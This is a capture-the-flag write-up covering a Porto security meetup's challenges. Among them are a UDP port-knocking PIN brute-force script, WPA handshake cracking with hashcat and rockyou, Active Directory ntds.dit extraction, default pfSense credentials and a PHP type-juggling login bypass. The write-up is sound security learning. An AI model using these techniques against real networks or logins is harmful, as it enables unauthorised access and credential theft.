“Based in Porto, the 0xOPOSEC group was started by g33ks who are passionate about security. The meetup primary mission is to discuss and tackle upsurging security issues by leveraging the expertise and know-how of members of the group.”

Index


Misc

Black Hole

“An exception is an abnormal event or error that occurs during the execution of a program. Exceptions are typically used to handle unexpected or exceptional co nditions, such as runtime errors or input-output errors. When an exception occurs, it is typically represented as an object that is thrown, and it can be caug ht and handled by the program using a try-catch block.”

After downloading the .rar file, I opened and that contained the flag.txt but was password protected.

Well after reading the description I was a bit confused but when I did unrar e l33t.rar I got the following.

UNRAR 6.00 freeware      Copyright (c) 1993-2020 Alexander Roshal


Extracting from l33t.rar

Python 3.7.3
>>> ︎◼︎◼︎◼︎
Traceback (most recent call last):
  File "<pyshell#4>", line 1, in <module>
    ︎◼︎◼◼
ZeroDivisionError: ◼︎◼︎◼︎ <- Password 
>>>

Enter password (will not be echoed) for flag.txt: 

So I got the ZeroDivisionError exception like the description said and a stack trace.

So googling by the ZeroDivisionError I got:

“ZeroDivisionError is a built-in Python exception thrown when a number is divided by 0. This means that the exception raised when the second argument of a division or modulo operation is zero. In Mathematics, when a number is divided by a zero, the result is an infinite number.”

I was curious on how I was doing an exception but I wasn’t, the creators only modified the hex values of the .rar to contain the string with the exception.

image

Doing strings worked too and returned this output

$ strings l33t.rar
Rar!
CMTPython 3.7.3
>>>
Traceback (most recent call last):
  File "<pyshell#4>", line 1, in <module>

ZeroDivisionError:
 <- Password
flag.txt0
90|ua

So If we open a python interpreter and we use a division by 0 we got this

Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0 / 0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: division by zero

Since they tell us the Password is the output of the ZeroDivisionError I used division by zero as the password and got the flag.

flag{l0vef@rf4t0h}

A Programming Language

“flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1”

After some googling I’ve found that this is related with APL A Programming Language.

Next thing I did was to find an online interpreter so, copy and pasting the descriptions I was getting an error saying undefined name: flag .

image

So I started to tweak a little bit.

image

Still nothing … So I went to wikipedia and studied a bit how this language worked and for some reason is the assgin symbol so I this must be lacking a \n somewhere.

My idea was to assign and then apply the function ⊢ WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵} (From what I understand, this will go to the unicode values of the flag var and decrements 10 to each unicode value).

Then I append with the + sign the new values to the flag using flag+2⊥¯3⌽1 0 1 1 0 1 (Not quite sure whats happening here, but I assume this is probably converting unicode to ASCII).

image

flag{f0rm1g0sAm0d4doM1nh0}

Find The Typo

In this challenge we get a table of SI multiples of gram, a nonogram and a password protected .zip with the flag.

  • Nonograms is a logic puzzle with simple rules
    • We have a grid of squares, which must be either filled in black or maked with X
    • Besides each row of the grid are listed the lenghts of the turns of black squares on that row
    • Above each column are listed the lenghts of the runs of black squares in that colum
    • These numbers tells us the runs of black squares in that row/column. So, if we see ‘10 1’, that tells us that there will be a run of exactly 10 black squares, followed by one or more white square, followed by a single black square
    • Our goal is to find all black squares

With the help of my gf (she used to play nonogram games on her phone) I’ve marked the nonogram and that represented the pacman.

After discovering that this would be pacman I tried that but It didn’t worked so I tried to understand and correlate the pacman with the first table but looking again at the challenge title, there’s a typo somewhere and I was making the typo …

I used pac-man on the zip file and that worked and got the flag.

flag{bread_bread_cheese_cheese}

Back Me Up!

“Someone left backups of a Domain Controller in an open share. A portion was extracted from the backup and myth be told that it contains critical information (and a flag ;) Can you get it?”

After extracting the zip file I got an Active Directory folder and a registry folder.

First I went to the Active Directory folder and that contained a .dit file.

$ file ntds.dit

ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0xa4ae6abb, page size 8192, Windows version 6.3

After googling I’ve found that this is an Extensible Storage Engine (ESE) and this is an advanced indexed and sequential access method (ISAM) storage technology. ESE enables applications to store and retrieve data from tables using indexed or sequential cursor navigation. It is usually utilized by various Microsoft Services such as Microsoft Exchange Server, Active Directory, and Windows Search.

Briefly this is a database file which stores AD Data including User Object, Groups and Group Memebers, Password hashes, etc.

Next I’ve looked on how I could extract info from this database file and I’ve found libesedb (Library and tools to access the Extensible Storage Engine (ESE) Database File (EDB) format).

I installed libesedb.

$ wget https://github.com/libyal/libesedb/releases/download/20220806/libesedb-experimental-20220806.tar.gz
$ tar libesedb-experimental-20220806.tar.gz
$ sudo apt-get install autoconf automake autopoint libtool pkg-config
$ cd libesedb-20220806 && ./configure
$ make
$ sudo make install
$ sudo ldconfig

And then dumped the data from the db file.

$ esedbexport -m tables ntds.dit

Opening the files got me the flag.

flag{ClearBackupsCanPwnU}

Network

867 CFR

“867 CFR is a protocol for sending data across networks. It is connectionless, meaning it does not establish a dedicated connection between sender and receiver. This makes it faster but less reliable than other transport protocols. 867 CFR is often used for real-time applications such as gaming and VoIP, and for low-overhead services like DNS. Weird stuff! Can you have a look? cc.isymra.22samxopo (344)

867 CFR its nothing but if we reverse the string we got RFC 768 and thats User Datagram Protocol (UDP).

Doing the same reverse on the cc.isymra.22samxopo we got ‘opoxmas22.armysi.cc’ and 344 should be 443.

>>> "cc.isymra.22samxopo"[::-1]
'opoxmas22.armysi.cc'

I tried to access opoxmas22.armysi.cc:443 but I got denied.

Checked on Wireshark for any hits on connecting to the above domain but found nothing.

After a while I tought that this could be some sort of UDP socket connection and for that I used a simple python script to connect to the server (opoxmas22.armysi.cc:443) as client and then send a simple “Hello”.

import socket 

server_add_and_port = ("opoxmas22.armysi.cc", 443)
udp_client_socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) # created UDP socket on client
udp_client_socket.sendto(str.encode("Hello"), server_add_and_port) # sends message to server socket

msg_from_server = udp_client_socket.recvfrom(1024)
print(msg_from_server[0])

After executing this I got the following bytes, so I just had to reverse those again.

b'}eep_eed_uoy{galf\n'

Reversing and cleaning the string (print(msg_from_server[0][::-1].decode("utf-8").strip())) I got the correct flag.

flag{you_dee_pee}

Who There

“I do not have a physical body, but I am here to help you with any questions you may have, give me a PIN, and I will tell you what to do next! opoxmas22.armysi.cc (22222) looks interesting!”

Running nmap on opoxmas22.armysi.cc:22222 got a filtered result

$ sudo nmap -p22222 opoxmas22.armysi.cc

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-26 11:36 WET
Nmap scan report for opoxmas22.armysi.cc (95.217.178.98)
Host is up (0.00026s latency).
rDNS record for 95.217.178.98: static.98.178.217.95.clients.your-server.de

PORT      STATE    SERVICE
22222/tcp filtered easyengine

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Running another nmap to get more info.

$ sudo nmap -A -p22222 opoxmas22.armysi.cc -oN nmap/initial

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-26 11:44 WET
Nmap scan report for opoxmas22.armysi.cc (95.217.178.98)
Host is up (0.016s latency).
rDNS record for 95.217.178.98: static.98.178.217.95.clients.your-server.de

PORT      STATE    SERVICE    VERSION
22222/tcp filtered easyengine
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: webcam|general purpose|PBX|WAP|specialized|power-device|router
Running (JUST GUESSING): AXIS embedded (98%), GNU Hurd (98%), Linux 2.0.X|2.2.X (98%), Netgear embedded (98%), ZKTeco embedded (98%), CAEN embedded (98%)
OS CPE: cpe:/h:axis:2100_network_camera cpe:/o:gnu:hurd cpe:/o:linux:linux_kernel:2.0.36 cpe:/o:linux:linux_kernel:2.0.38 cpe:/o:linux:linux_kernel:2.2.14 cpe:/h:netgear:wg602v1 cpe:/o:linux:linux_kernel:2.0.39
Aggressive OS guesses: AXIS 2100 Network Camera (98%), AXIS 2120 Network Camera (98%), GNU Hurd 0.3 (98%), Linux 2.0.36 (Red Hat 5.2) (98%), elmeg T240 or T444 PABX (Linux 2.0.38) (98%), Netgear WG602v1 WAP (Linux 2.2.14) (98%), ZKTeco F18 fingerprint reader (98%), CAEN SY2527 high voltage power supply (98%), Linux 2.0.33 (98%), Linux 2.0.35 - 2.0.36 (98%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.37 ms 10.0.2.2
2   0.49 ms static.98.178.217.95.clients.your-server.de (95.217.178.98)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.42 seconds

Reading again the description I assumed that this was some sort of a Bot that needs a PIN, so I tried to think on how I could communicate with this service.

I’ve tried http, ssh, telnet, nc but nothing worked.

After a while I tried to use the same code from the previous network chall and that worked, so the connection is using sockets.

$ python3 send.py
b'WRONG PIN!'

Since this is using UDP again I did a new nmap scan for UDP instead of TCP using sudo nmap -sC -sV -A -sU -p22222 -oN nmap/all opoxmas22.armysi.cc -v and got

PORT      STATE SERVICE VERSION
22222/udp open  unknown
| fingerprint-strings:
|   AFSVersionRequest, Citrix, DNS-SD, DNSStatusRequest, DNSVersionBindReq, DTLSSessionReq, Help, NBTStat, NTPRequest, NetMotionMobility, QUIC, RPCCheck, SNMPv1public, SNMPv3GetRequest, Sqlping, sybaseanywhere, xdmcp:
|     WRONG PIN!
|   Kerberos:
|     Opened port 23590 - Hurry you got 60 seconds!. Use this PIN - 1882
|   SIPOptions:
|_    Opened port 28002 - Hurry you got 60 seconds!. Use this PIN - 4958
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22222-UDP:V=7.92%I=7%D=12/26%Time=63A9D15F%P=x86_64-pc-linux-gnu%r(
SF:RPCCheck,A,"WRONG\x20PIN!")%r(DNSVersionBindReq,A,"WRONG\x20PIN!")%r(DN
SF:SStatusRequest,A,"WRONG\x20PIN!")%r(NBTStat,A,"WRONG\x20PIN!")%r(Help,A
SF:,"WRONG\x20PIN!")%r(SIPOptions,42,"Opened\x20port\x2028002\x20-\x20Hurr
SF:y\x20you\x20got\x2060\x20seconds!\.\x20Use\x20this\x20PIN\x20-\x204958"
SF:)%r(Sqlping,A,"WRONG\x20PIN!")%r(NTPRequest,A,"WRONG\x20PIN!")%r(SNMPv1
SF:public,A,"WRONG\x20PIN!")%r(SNMPv3GetRequest,A,"WRONG\x20PIN!")%r(xdmcp
SF:,A,"WRONG\x20PIN!")%r(AFSVersionRequest,A,"WRONG\x20PIN!")%r(DNS-SD,A,"
SF:WRONG\x20PIN!")%r(Citrix,A,"WRONG\x20PIN!")%r(Kerberos,42,"Opened\x20po
SF:rt\x2023590\x20-\x20Hurry\x20you\x20got\x2060\x20seconds!\.\x20Use\x20t
SF:his\x20PIN\x20-\x201882")%r(sybaseanywhere,A,"WRONG\x20PIN!")%r(NetMoti
SF:onMobility,A,"WRONG\x20PIN!")%r(DTLSSessionReq,A,"WRONG\x20PIN!")%r(QUI
SF:C,A,"WRONG\x20PIN!");
Device type: webcam|power-device|general purpose|PBX|router
Running: AXIS embedded, CAEN embedded, Linux 2.0.X
OS CPE: cpe:/h:axis:2100_network_camera cpe:/o:linux:linux_kernel:2.0.33 cpe:/o:linux:linux_kernel:2.0.38 cpe:/o:linux:linux_kernel:2.0.39
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.40 ms 10.0.2.2
2   0.51 ms static.98.178.217.95.clients.your-server.de (95.217.178.98)

NSE: Script Post-scanning.
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Initiating NSE at 16:54
Completed NSE at 16:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.54 seconds
           Raw packets sent: 30 (2.572KB) | Rcvd: 15 (930B)

Knowing the nmap output, I’ve noticed that this must be Port knocking (even the Challenge name represents that like -> “Knock knock” -> “Who’s There”)

This took me 2 days to solve because I was stuck on how I could exploit this but after a lot of reading I’ve noticed I already had half of exploit done. from the previous network challenge.

So to build this exploit I first needed to know what pin does port 22222 accepts (I’ve used a range from 0 to 99999 by trial/error and looks like the PIN for 22222 is 10000) and then knock two times (this is not fixed, we can configure more than 2 knock on a port knocking, but on this challenge this was 2 knocks) with the new port + new pin.

I’ve built an exploit that does this and got the flag.

import socket 

def make_request(port,pin):
    print(f"Trying with port: {port} and pin: {pin}")

    server_add_and_port = ("opoxmas22.armysi.cc", port)                                     
    udp_client_socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
    udp_client_socket.sendto(str.encode(pin), server_add_and_port)
    msg_from_server = udp_client_socket.recvfrom(1024)

    msg = msg_from_server[0].decode("utf-8")

    if "Flag" in msg:
        print(msg)
        return 
    
    port, pin = msg.split(" ")[2], msg.split(" ")[-1]
    return port, pin

    

def brute_force():
    server_add_and_port = ("opoxmas22.armysi.cc", 22222)                                                           
    udp_client_socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

    # try and find the PIN for the 22222 port
    for i in range(10000,99999):
        udp_client_socket.sendto(str.encode(str(i)), server_add_and_port)
        msg_from_server = udp_client_socket.recvfrom(1024)
        msg = msg_from_server[0].decode("utf-8")
        if msg != "WRONG PIN!":
            port, pin = msg.split(" ")[2], msg.split(" ")[-1]
            port, pin = make_request(int(port),str(pin))
            make_request(int(port),str(pin))
            break

if __name__ == "__main__":
    brute_force()
$ python3 send.py

Trying with port: 29475 and pin: 9379
Trying with port: 28414 and pin: 6313
Flag{Kito_KitoWho?_MosKito}
flag{Kito_KitoWho?_MosKito}

My Network Is Secure!

“Taberna belga said their free WiFi is secure because it has a password, however people are still getting passwords! How is this possible?!”

After opening the cap file in in wireshark I’ve noticed the data on the communication process is encripted, probably because they are using wpa with some passphrase so this is encrypted.

Since this is from a Wifi network we know we need to try to get the wpa-pwd to decrypt the communication from the protocol IEEEE802.11.

Next thing I did was to find a way to grab the encrypted password so I could use the rockyou.txt wordlist with hashcat to try to crack it.

A cool way to grab the encrypted password and make it hashcat readable is to use hcxpcapngtool (Portable solution for capturing wlan traffic and conversion to hashcat formats (recommended by hashcat) and to John the Ripper formats).

So I did that and got a WPA hash.

$ hcxpcapngtool -o hash SecuredNetwork.cap
$ cat hash

WPA*02*4ca8dcfc1ae47ae4c892d2cc25f4e1e5*907841398870*d6a78c062e85*5365637572654e65742057696669*3ca0a8709bf3a4dc5041041109b41f01565f7b5a30608ed4c02e5c4f523e4be3*01030077fe01090020000000000000000110f11a201a62f4f081e097ee34d8c20f84822bb6aa0ab4c0af3423657187dbf80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018dd160050f20101000050f20201000050f20201000050f202*02

Next I searched for the mode for WPA hashes in hashcat and runed that with rockyou and got the password.

$ hashcat -m 22000 wandshakes /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

4ca8dcfc1ae47ae4c892d2cc25f4e1e5:907841398870:d6a78c062e85:SecureNet Wifi:spiderman

Session..........: hashcat
Status...........: Cracked
Hash.Name........: WPA-PBKDF2-PMKID+EAPOL

So now I have the SID + the password.

The SID was already known because it was plaintext on the pcap file.

image

Now I needed to insert the password:SID on wireshark so I could check the communication

So I did Edit -> Preferences -> Protocols and searched for IEEE802.11 and added the decryption key.

image

After pressing ok I got more traffic but the one I looked for was the tcp.

image

Following the TCP STREAM I got the flag.

image

flag{morestudy}

Crypto

Mmmm Donuts

“Donuts are the best breakfast food! There is a donut flavor for everyone’s taste, they pair great with coffee, and they can be eaten on the go! The key to solve this challenge is the most important meal of the day. If one donut doesn’t help, try having another. You better solve it fast before you get diabetes. PS: My favorite donut is the original, just glazed.”

image

This was a hard one for me since I don’t know much about crypto ctfs and the description was not good enough.

But after getting some hits, I’ve found that this was using bacon-cipher.

Implementing bacon-cipher decryption on the image I got the following

  • a
    • not bold
  • b
    • bold

aaba bbaaaa bab ab ababb ab bab aba aabaa aaaaaa aa abb aab ab aa aab bab aaa

Then I used vigenere-cipher with the key breakfast and got the flag

flag{eatmedrinkme}

Lets Share!

“Encoding is the process of converting data from one format into another, typically for the purposes of efficient transmission or storage. There are many different types of encoding schemes that can be used, depending on the specific requirements of the data and the intended use. Encoding is an important aspect of data management and is used in a variety of applications, including networking, data storage, and multimedia.”

$ cat coded_data.txt 
JTI2JTIzOTAlM0IlMjYlMjMxMDklM0IlMjYlMjMxMjAlM0IlMjYlMjMxMDQlM0IlMjYlMjM5MCUzQiUyNiUyMzUxJTNCJTI2JTIzMTE2JTNCJTI2JTIzMTA1JTNCJTI2JTIzNzclM0IlMjYlMjM3MSUzQiUyNiUyMzExOSUzQiUyNiUyMzExOSUzQiUyNiUyMzg4JTNCJTI2JTIzNTElM0IlMjYlMjM3MyUzQiUyNiUyMzEyMiUzQiUyNiUyMzc3JTNCJTI2JTIzODYlM0IlMjYlMjM1NyUzQiUyNiUyMzcxJTNCJTI2JTIzODYlM0IlMjYlMjM3MCUzQiUyNiUyMzEwMCUzQiUyNiUyMzU3JTNC

Looking at txt file at first sight I saw that this was use base64 so I put on Cybechef and used the Magic recipe but that didn’t do much.

Knowing this I tried to help Cyberchef by already providing the base64 decoded string and that got me the flag.

image

I wanted to understand how many encodings were happening here so I did a python script to help me on this and by trial/error I’ve managed to found that this was using 4 encodings

base64 -> url encoding -> HTML entity encoding -> base64

import base64
import urllib.parse
import html


with open("coded_data.txt", "r") as f:
    stage_1 = f.readline().strip()
    print(f"Stage 1 -> {stage_1}\n")
    
    stage_2 = base64.b64decode(stage_1).decode("utf-8") 
    print(f"Stage 2 -> {stage_2}\n")

    
    stage_3 = urllib.parse.unquote(stage_2)
    print(f"Stage 3 -> {stage_3}\n")

    
    stage_4 = html.unescape(stage_3)
    print(f"Stage 4 -> {stage_4}\n")

    stage_5 = base64.b64decode(stage_4).decode("utf-8")
    print(f"Stage 5 -> {stage_5}\n")
$ python3 uncoded.py 

Stage 1 -> JTI2JTIzOTAlM0IlMjYlMjMxMDklM0IlMjYlMjMxMjAlM0IlMjYlMjMxMDQlM0IlMjYlMjM5MCUzQiUyNiUyMzUxJTNCJTI2JTIzMTE2JTNCJTI2JTIzMTA1JTNCJTI2JTIzNzclM0IlMjYlMjM3MSUzQiUyNiUyMzExOSUzQiUyNiUyMzExOSUzQiUyNiUyMzg4JTNCJTI2JTIzNTElM0IlMjYlMjM3MyUzQiUyNiUyMzEyMiUzQiUyNiUyMzc3JTNCJTI2JTIzODYlM0IlMjYlMjM1NyUzQiUyNiUyMzcxJTNCJTI2JTIzODYlM0IlMjYlMjM3MCUzQiUyNiUyMzEwMCUzQiUyNiUyMzU3JTNC

Stage 2 -> %26%2390%3B%26%23109%3B%26%23120%3B%26%23104%3B%26%2390%3B%26%2351%3B%26%23116%3B%26%23105%3B%26%2377%3B%26%2371%3B%26%23119%3B%26%23119%3B%26%2388%3B%26%2351%3B%26%2373%3B%26%23122%3B%26%2377%3B%26%2386%3B%26%2357%3B%26%2371%3B%26%2386%3B%26%2370%3B%26%23100%3B%26%2357%3B

Stage 3 -> &#90;&#109;&#120;&#104;&#90;&#51;&#116;&#105;&#77;&#71;&#119;&#119;&#88;&#51;&#73;&#122;&#77;&#86;&#57;&#71;&#86;&#70;&#100;&#57;

Stage 4 -> ZmxhZ3tiMGwwX3IzMV9GVFd9

Stage 5 -> flag{b0l0_r31_FTW}
flag{b0l0_r31_FTW}

Web

The Folt

“pfSense is a free and open-source firewall and router software distribution based on the FreeBSD operating system. It is designed to provide a flexible and powerful platform for building and managing network infrastructure, and it includes a wide range of features and capabilities that are suitable for use in both small and large networks. Have a try http://machine.armysi.cc/"

The URL redirected to a pfsense login menu so I just searched for the default creds for the pfsense login menu and found admin:pfsense and that got me the first flag

image

flag{Default?_More_Like_Badfault}

In Passwords, We Trust, and in PHP, We Believe!

“Great, another admin panel, do you think you can crack it? (https://santa.sefod.eu/)"

We are presented with a login page that is written in PHP.

After going to the source code we have the php logic of the login menu.

We can see that to get the flag we need to have the user == “admin” and the password must be the same as the generated token.

We can see too (in the second elseif) that if the passwordis empty we got our token but this is kinda useless as we cant use that token to the next login because it will get generated again.

image

I’ve noticed a strange thing, why would they use $answer as a json decode of $input ? After this they use the $password var to extract the value of the json object so the vuln/bug must reside here because this is not normal at all.

After googling I’ve found this https://security.stackexchange.com/a/63326 so this was php type juggling.

Ill explain better what php type juggling is in another section but the basic idea is that this code uses json_decode() so we can specify a type other than string or array via the JSON object and we know that the type of the $token is a string because its Base64-encoded. Knowing this I tried to find a value that, when loosely compared to a string (because they are using == and not ===), lets me pass the auth check.

  • Checking the PHP equality charts, we can see that 0 == "xyz" is true, so I passed the value 0 as password ({"password": 0}) and got the flag.

image

flag{OnceAgainTypeJuggling}

In deep explanation about PHP Type Juggling

  • In PHP we have loose (==) and strict comparison (===)

  • The loose comparison is used to check if the given values are equal or not.

  • The strict comparison checks if the given values are equal and if the data types are the same

  • Reading the php docs about this we have that Prior to PHP 8.0.0, if a string is compared to a number or a numeric string then the string was converted to a number before performing the comparison

  • Knowing this when we try to attack a PHP application by using a type juggling flaw, we try to exploit this type of unexpected behavior the developers did not think about

  • In the CTF example we had this flaw because they were using == to compare a given password with a string (base64 token).

  • Knowing the type of the password, we had to find a value that when compared to a string returned true and after checking php equality charts, we can see that 0 == "xyz" is true, so we could just use {"password":0} because that would compare with the generated token and return true

  • This could be prevented using ===

Trivia

Who?

This was an easy one, just searching the image on google we got the flag lulzsec.

The Great Hack

“How about ensuring that you are a guaranteed winner of a radio contest by controlling all the telephone lines? Imagine, what a classy hack that would be. It took place in real world and the hacker won a costliest prize. What was the costliest prize that the hacker won?”

I searched in google for “hacker win radio contest by controlling all the telephone lines” and got an article that said “It was June 1, 1990, and KIIS-FM was running a competition for callers to win a new Porsche 944 S2”.

Porsche 944 S2

Final result

It was a really fun CTF to learn a few neat tricks and it was even cooler for the fact that it came in 2nd place!